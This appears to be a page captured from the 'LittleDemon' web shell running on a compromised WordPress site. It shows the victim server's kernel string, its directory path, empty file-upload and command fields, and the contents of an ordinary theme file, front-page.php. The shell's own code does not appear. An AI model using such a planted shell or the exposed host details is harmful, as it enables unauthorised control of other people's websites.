LittleDemon WebShell


Linux webm007.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Path : /home/eglisebaa/www/wp-content/themes/hallelujah/
File Upload :
Command :
Current File : /home/eglisebaa/www/wp-content/themes/hallelujah/front-page.php

<?php
/**
 * The Front Page template file.
 *
 * @package WordPress
 * @subpackage HALLELUJAH
 * @since HALLELUJAH 1.0.31
 */

get_header();

// If front-page is a static page
if ( get_option( 'show_on_front' ) == 'page' ) {

	// If Front Page Builder is enabled - display sections
	if ( hallelujah_is_on( hallelujah_get_theme_option( 'front_page_enabled' ) ) ) {

		if ( have_posts() ) {
			the_post();
		}

		$hallelujah_sections = hallelujah_array_get_keys_by_value( hallelujah_get_theme_option( 'front_page_sections' ), 1, false );
		if ( is_array( $hallelujah_sections ) ) {
			foreach ( $hallelujah_sections as $hallelujah_section ) {
				get_template_part( apply_filters( 'hallelujah_filter_get_template_part', 'front-page/section', $hallelujah_section ), $hallelujah_section );
			}
		}

		// Else if this page is blog archive
	} elseif ( is_page_template( 'blog.php' ) ) {
		get_template_part( apply_filters( 'hallelujah_filter_get_template_part', 'blog' ) );

		// Else - display native page content
	} else {
		get_template_part( apply_filters( 'hallelujah_filter_get_template_part', 'page' ) );
	}

	// Else get index template to show posts
} else {
	get_template_part( apply_filters( 'hallelujah_filter_get_template_part', 'index' ) );
}

get_footer();

LittleDemon - FACEBOOK
[ KELUAR ]